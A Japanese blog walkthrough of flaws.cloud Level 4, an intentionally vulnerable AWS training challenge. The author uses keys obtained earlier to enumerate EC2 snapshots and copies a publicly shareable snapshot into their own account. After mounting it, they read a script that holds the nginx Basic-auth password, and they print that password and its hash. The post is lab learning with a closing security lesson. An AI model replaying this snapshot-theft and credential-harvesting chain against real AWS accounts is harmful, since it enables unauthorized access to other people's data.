chikoblog

やってみたことの掃溜め

flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 4

この記事は下記のブログの続きです!
Level 1〜Level 3でおこなった手順は省略してますのでご注意ください。

chikoblog.hatenablog.jp

まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
chikoblog.hatenablog.jp

※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。

Level 4

トップページはこんな感じです。 f:id:Chiko_gorilla:20200127185408p:plain

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

とりあえず、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudのEC2で実行されているWEBページにアクセスしろってことですね多分…

また、このEC2はNginxがセットアップされた直後にスナップショットが作成されたようです。これは知っておくと役立つと書いてあるのでヒントですかね。

とりあえず進めてみる

今回はS3へのアクセスは特に意味がないようです。
いつも通りの手順でaws s3 lsまでやってみたところ
AccessDeniedが帰ってきました。

$ aws s3 ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Level 3で手に入れたaccess_keysecret_access_key
使ったAWSアカウントでも同じ結果が帰ってきました。

$ aws s3 ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/ --profile testchiko

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

testchikoは以下の記事の時にAWSアカウントを手に入れて作ったプロファイルです。 chikoblog.hatenablog.jp

やはり4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudが動いている
EC2の情報を手に入れなければいけないようです。

とりあえず4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
ブラウザアクセスするとBasic認証がかかっていて何も見れないですね。 f:id:Chiko_gorilla:20200202192012p:plain

現状何も手がかりがないので今持っているもので情報を集めます。
Level 3で手に入れたAWSアカウントtestchikoAWSアカウントの情報を取得します。

$ aws sts get-caller-identity --profile testchiko
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

dev.classmethod.jp

backupユーザのようなのでヒントに
このEC2はNginxがセットアップされた直後にスナップショットが作成」と
書いてあったので、このAWSアカウントがEC2と関わりがありそうな気がします。

このアカウントを使い稼働しているEC2インスタンスの情報を
aws ec2 describe-instancesで取得してみます。

$ aws ec2 describe-instances --filter "Name=instance-state-name,Values=running" --profile testchiko |grep ec2
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",

aws ec2 describe-instancesの全文は以下に記載しておきます。
長すぎたのでgrepしちゃいました。。。

aws ec2 describe-instances

$ aws ec2 describe-instances --filter "Name=instance-state-name,Values=running" --profile testchiko
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-7c803d1c",
                    "InstanceId": "i-05bef8a081f307783",
                    "InstanceType": "t2.micro",
                    "KeyName": "Default",
                    "LaunchTime": "2017-02-12T22:29:24.000Z",
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "Placement": {
                        "AvailabilityZone": "us-west-2a",
                        "GroupName": "",
                        "Tenancy": "default"
                    },
                    "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                    "PrivateIpAddress": "172.31.41.84",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
                    "PublicIpAddress": "35.165.182.7",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": "",
                    "SubnetId": "subnet-d962aa90",
                    "VpcId": "vpc-1052ce77",
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/sda1",
                            "Ebs": {
                                "AttachTime": "2017-02-12T22:29:25.000Z",
                                "DeleteOnTermination": true,
                                "Status": "attached",
                                "VolumeId": "vol-04f1c039bc13ea950"
                            }
                        }
                    ],
                    "ClientToken": "kTOiC1486938563883",
                    "EbsOptimized": false,
                    "Hypervisor": "xen",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::975426262029:instance-profile/flaws",
                        "Id": "AIPAIK7LV6U6UXJXQQR3Q"
                    },
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
                                "PublicIp": "35.165.182.7"
                            },
                            "Attachment": {
                                "AttachTime": "2017-02-12T22:29:24.000Z",
                                "AttachmentId": "eni-attach-a4901fc2",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached"
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupName": "launch-wizard-1",
                                    "GroupId": "sg-490f6631"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "06:b0:7a:92:21:cf",
                            "NetworkInterfaceId": "eni-c26ed780",
                            "OwnerId": "975426262029",
                            "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                            "PrivateIpAddress": "172.31.41.84",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
                                        "PublicIp": "35.165.182.7"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
                                    "PrivateIpAddress": "172.31.41.84"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use",
                            "SubnetId": "subnet-d962aa90",
                            "VpcId": "vpc-1052ce77",
                            "InterfaceType": "interface"
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupName": "launch-wizard-1",
                            "GroupId": "sg-490f6631"
                        }
                    ],
                    "SourceDestCheck": true,
                    "StateReason": {
                        "Code": "",
                        "Message": ""
                    },
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 1
                    },
                    "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                        "Configured": false
                    },
                    "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 1,
                        "HttpEndpoint": "enabled"
                    }
                }
            ],
            "OwnerId": "975426262029",
            "ReservationId": "r-0fe151dbbe77e90cc"
        }
    ]
}

EC2のインスタンスID
ec2-35-165-182-7.us-west-2.compute.amazonaws.comを手に入れました。

ここで気が付いたのですが、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.clouddig すれば ec2-35-165-182-7.us-west-2.compute.amazonaws.comが持ってこれました。

$ dig any 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud +short
ec2-35-165-182-7.us-west-2.compute.amazonaws.com.

これで4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudが動いている
EC2がec2-35-165-182-7.us-west-2.compute.amazonaws.comでほぼ確定です。
また、このEC2があるAWSアカウントもLevel 3で手に入れたものです。

手に入れた情報をもとにaws ec2 describe-snapshots
ヒントにあったスナップショットを探してみます。

$ aws ec2 describe-snapshots --owner-id 975426262029 --profile testchiko
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12.000Z",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ]
        }
    ]
}

スナップショットの情報snap-0b49342abd1bdcb89を手に入れたので
これの活用法として自分のアカウントに持っていくしか思いつかない。。。

とりあえず、このスナップショットが復元できるかがわかる
createVolumePermissionの情報をaws ec2 describe-snapshot-attributeで確認します。

$ aws ec2 describe-snapshot-attribute --profile testchiko --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

CreateVolumePermissionsGroupの値がallになっています。
誰でもこのスナップショットからボリュームを作成できるので、
ec2 create-volumeを使って自分のAWSアカウントにEBSボリュームを作成します。

$ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89
{
    "AvailabilityZone": "us-west-2a",
    "CreateTime": "2019-12-27T11:23:03.000Z",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "State": "creating",
    "VolumeId": "vol-05aade78cd809a70c",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2"
}

f:id:Chiko_gorilla:20200202202620p:plain

自分のAWSアカウントに無事に作成できました。
このボリュームを自分のEC2にアタッチしてSSHでログインすると
ec2-35-165-182-7.us-west-2.compute.amazonaws.comの中身を確認できます。

中身を確認するにはlsblkで現在利用できるブロックデバイスを一覧表示を確認します。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdf    202:80   0   8G  0 disk 
└─xvdf1 202:81   0   8G  0 part 

ブロックデバイスxvdfとマウントされていないパーティションxvdf1が作成されているようです。
一先ず、パーティションxvdf1の情報をfileコマンドで確認してみます。

$  sudo file -s /dev/xvdf1
/dev/xvdf1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents) (large files) (huge files)

ファイルシステムはできているようなので、マウントしてあげます。

# sudo mkdir /mnt/xvdf1
# sudo mount /dev/xvdf1 /mnt/xvdf1/

これで色々調べられるようになったので、ヒントに書いてあった通りNginxが使われているようなので設定ファイルを探していきます。

また、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
ブラウザアクセスした際にBasic認証をしているにはわかっていますので
その辺の設定ファイルがあればほぼ勝ちです。

findディレクトリとファイルを探します。

$ sudo find /mnt/xvdf1/ -type d -name nginx
/mnt/xvdf1/usr/share/nginx
/mnt/xvdf1/usr/share/doc/nginx
/mnt/xvdf1/etc/nginx
/mnt/xvdf1/var/lib/nginx
/mnt/xvdf1/var/log/nginx

ディレクトリは/mnt/xvdf1/etc/nginxのようです。
とりあえず、ls -la /mnt/xvdf1/etc/nginxを実行します。

$ ls -la /mnt/xvdf1/etc/nginx/
合計 68
drwxr-xr-x  6 root root 4096  2月 19  2017 .
drwxr-xr-x 94 root root 4096  2月 19  2017 ..
-rw-r--r--  1 root root   44  2月 13  2017 .htpasswd
drwxr-xr-x  2 root root 4096 10月 27  2016 conf.d
-rw-r--r--  1 root root 1077  4月 26  2016 fastcgi.conf
-rw-r--r--  1 root root 1007  4月 26  2016 fastcgi_params
-rw-r--r--  1 root root 2837  4月 26  2016 koi-utf
-rw-r--r--  1 root root 2223  4月 26  2016 koi-win
-rw-r--r--  1 root root 3957  4月 26  2016 mime.types
-rw-r--r--  1 root root 1533  2月 19  2017 nginx.conf
-rw-r--r--  1 root root  180  4月 26  2016 proxy_params
-rw-r--r--  1 root root  636  4月 26  2016 scgi_params
drwxr-xr-x  2 root root 4096  2月 19  2017 sites-available
drwxr-xr-x  2 root root 4096  2月 19  2017 sites-enabled
drwxr-xr-x  2 root root 4096  2月 12  2017 snippets
-rw-r--r--  1 root root  664  4月 26  2016 uwsgi_params
-rw-r--r--  1 root root 3071  4月 26  2016 win-utf

Basic認証に使われていそうな.htpasswdが見つかりました。
サクッと開いてみる。

$ cat /mnt/xvdf1/etc/nginx/.htpasswd 
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0

IDパスワードゲット!これでBasic認証突破!
...と思いましたがこれではアクセスできませんでした。
おそらくハッシュ化されていますね。

いろいろ、探してみた結果、/mnt/xvdf1/home/ubuntu/setupNginx.sh
.htpasswdが変更されているようです。

ちなみに僕は.bash_historyを見つけたのでそれ読んでたら
setupNginx.shってなんや?と思い開いてみたら答えでしたw

$ cat /mnt/xvdf1/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
以下の情報でBasic認証を突破します。
ユーザID:flaws
パスワード:nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

f:id:Chiko_gorilla:20200202222825p:plain

Level 4クリアです!

やってみた感想

今回の目玉はスナップショットの情報が抜かれることにより、
EC2を別アカウントに作成されて必要な情報が抜かれるリスクがあるということです。

ただ、攻撃者は基本相手のAWSキーを手に入れていないとここまでのことはできませんが、どこかでAWSキーが流出していたらこうゆう事もされる可能性がありますね。
アカウントの管理はしっかり決めておかねばいけませんね。。。

この辺りから作業のレベルが上がってきており、
僕も解くのに4、5時間かかりました。
技術力がある方はこのあたりの問題から面白くなってくるのではないかと個人的に思います。

あと、AWSレーニングで習ったAWS CLIのコマンドをムッチャ使いました!
AWSレーニングに感謝です。

皆様も是非チャレンジしてみてください!

Level 5は以下の記事へ

chikoblog.hatenablog.jp